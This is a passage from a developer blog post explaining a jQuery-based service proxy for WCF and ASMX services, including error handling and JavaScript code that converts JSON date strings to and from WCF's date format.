Next the service Url is assigned. The service url points to the .SVC or .ASMX file plus the trailing slash. The method name is appended to this url which routes the method call property on the server to run the appropriate method. Next the ajax call is made. Notice that hte content type is set and all native JSON conversion is turned OFF. That’s right we need to handle the JSON conversion ourselves in order to convert dates back properly into date values via JSON.parseWithDates(). The .ajax callback handler also fixes up the response by stripping out the wrapper root object (d:) from the service response by default. If you are calling a raw REST service that doesn’t wrap results you can pass the isBare parameter as true on the invoke method. If there’s a callback handler mapped it is now called with the fixed up result.

The most complex part of this component is the error handling portion that has to check for the various ways that error information is returned by the $.ajax function. The first check is made for an object in the response text which means a server error was detected and should be displayed .THat’s the easy part – it’s much harder to figure out client errors, timeouts or ‘unknown’ errors and the rest of the code in the error handler deals with this. For you as the user though you always get an object back which in my opinion is how it should be.

JSON Extensions to handle Date Encoding/Decoding

The final piece are the JSON extensions to handle date encoding/decoding on requests. This is done by extending the JSON object created by native browsers or JSON2 and adding methods that use a Replacer or Reviver object in calls to stringify or parse. Here’s what this looks like:

if (this.JSON && !this.JSON.parseWithDate) {
    var reISO = /^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/;
    var reMsAjax = /^\/Date\((d|-|.*)\)[\/|\\]$/;
    // original var reMsAjax = /^\/Date\((d|-|.*)\)\/$/;

    JSON.parseWithDate = function(json) {
        /// <summary>
        /// parses a JSON string and turns ISO or MSAJAX date strings
        /// into native JS date objects
        /// </summary>    
        /// <param name="json" type="var">json with dates to parse</param>        
        /// </param>
        /// <returns type="value, array or object" />
        try {
            var res = JSON.parse(json,
            function(key, value) {
                if (typeof value === 'string') {
                    var a = reISO.exec(value);
                    if (a)
                        return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], +a[5], +a[6]));
                    a = reMsAjax.exec(value);
                    if (a) {
                        var b = a[1].split(/[-+,.]/);
                        return new Date(b[0] ? +b[0] : 0 - +b[1]);
                    }
                }
                return value;
            });
            return res;
        } catch (e) {
            // orignal error thrown has no error message so rethrow with message
            throw new Error("JSON content could not be parsed");
            return null;
        }
    };
    JSON.stringifyWcf = function(json) {
        /// <summary>
        /// Wcf specific stringify that encodes dates in the
        /// a WCF compatible format ("/Date(9991231231)/")
        /// Note: this format works ONLY with WCF. 
        ///       ASMX can use ISO dates as of .NET 3.5 SP1
        /// </summary>
        /// <param name="key" type="var">property name</param>    
        /// <param name="value" type="var">value of the property</param>            
        return JSON.stringify(json, function(key, value) {
            if (typeof value == "string") {
                var a = reISO.exec(value);
                if (a) {
                    var val = '/Date(' + new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], +a[5], +a[6])).getTime() + ')/';
                    this[key] = val;
                    return val;
                }
            }
            return value;
        })
    };
}

The parse() function looks for a regEx match on string values that matches either an ISO or MS Ajax style string. If found that string is parsed into a date value and converted into a date using this Reviver function.

The stringifyWcf() function looks for strings that match the ISO signature. Unfortunatey JSON first turns the date into an ISO date THEN makes the Replacer function. This means the ISO string needs to be parsed into a string first then back into a date. Yuk. Further JSON quote()s the string AFTER it has been converted so it’s actually IMPOSSIBLE to create "\/Date(90232312)\/" style strings in the output. Natch.

By pure luck though I discovered that WCF also supports dates in the format of: "/Date(232133993)/" and that is exactly what the code above does. Lucked out on that one and I wouldn’t be surprised if this is actually an undocumented hack the WCF team added for just this scenario. If it wasn’t for this deviant behavior JSON extension wouldn’t be possible for the full MS Ajax style date (AFAIK) short of creating a custom JSON encoder and forfeiting the native JSON parsers completely.

Ultimately the best solution to this issue will be for WCF supporting ISO string date formats the same way the JavaScript serializer does.

And that’s it.

All of this looks pretty complicated but it’s really not – the whole thing is wrapped in a single ServiceProxy.js file so you can just include that in your project and off you go making service calls. You’ll also need jQuery loaded of course before this ServiceProxy.js since it depends on jQuery for the Ajax callbacks. If you’re using the West Wind West Wind Web Toolkit or ww.jquery.js this functionality is already baked into it as well so no need for a separate add of the ServiceProxy.js.

Why does this matter?

Now, if you’re using Microsoft ASP.NET AJAX with Web Forms and a ScriptManager you’re probably thinking: WTF? This is a big hassle. And yes, this is more work than using a ScriptReference. In fact if you already use ASP.NET AJAX in your application go ahead and use that by all means – it’s easier to use the premade proxy and doesn’t add any additional overhead.

However, more and more there are situations where ScriptManager is not available. MVC applications for example – there’s no ScriptManager and no script references and the closest thing in Microsoft Ajax is Sys.Net.WebServiceProxy.invoke which is very similar in fact to this service proxy (but then one look at this API makes me ill :-}). Or you may simply eschew use of ASP.NET AJAX in general and prefer using only jQuery (or some other library). No need to add ASP.NET AJAX into the mix if it’s just for Web Service calls.

Also keep in mind that there are alternatives to calling WCF/ASMX services. In MVC you might just use plain POST values to send data to the server and use a JsonResult() response. You can also rig something similar with any WebForms page that accepts POST. Or you can use the AjaxMethodCallback control in the West Wind Web Toolkit (links below) which allow page, control or HttpHandler callbacks a little more transparently.

However, personally I still prefer using a completely separate service or component (whether it’s WCF, West Wind Web Toolkit or an MVC Controller specific to Ajax Callbacks) rather than mixing UI and data calls into Page processing logic. But – you can do it either way.

Choices are good and this gives the you the freedom to decide how to handle calls. Even if you’re not using the ServiceProxy for WCF callbacks, I think you might find the $.ajax() wrapper code useful as this really applies to any kind of XHR call to the server – error handling and JSON parsing apply regardless of which technology you use on the server.

Resources

ServiceProxy.zip
Package that contains ScriptProxy.js and ScriptProxy.min.js which contains ScriptProxy,JSON2, and the JSON extensions described above.
ww.jquery.js
West Wind jQuery extensions also include all of the above functionality plus a bunch of other commonly used plugins and utility functions. It’s bigger (about 20k compressed) but includes a ton of functionality (docs).
Samples from jQuery Presentation
The sample discussed is included in these samples as BasicWcfService.aspx. Includes the serviceProxy.js and ww.jquery.js files.

Posted in ASP.NET jQuery JavaScript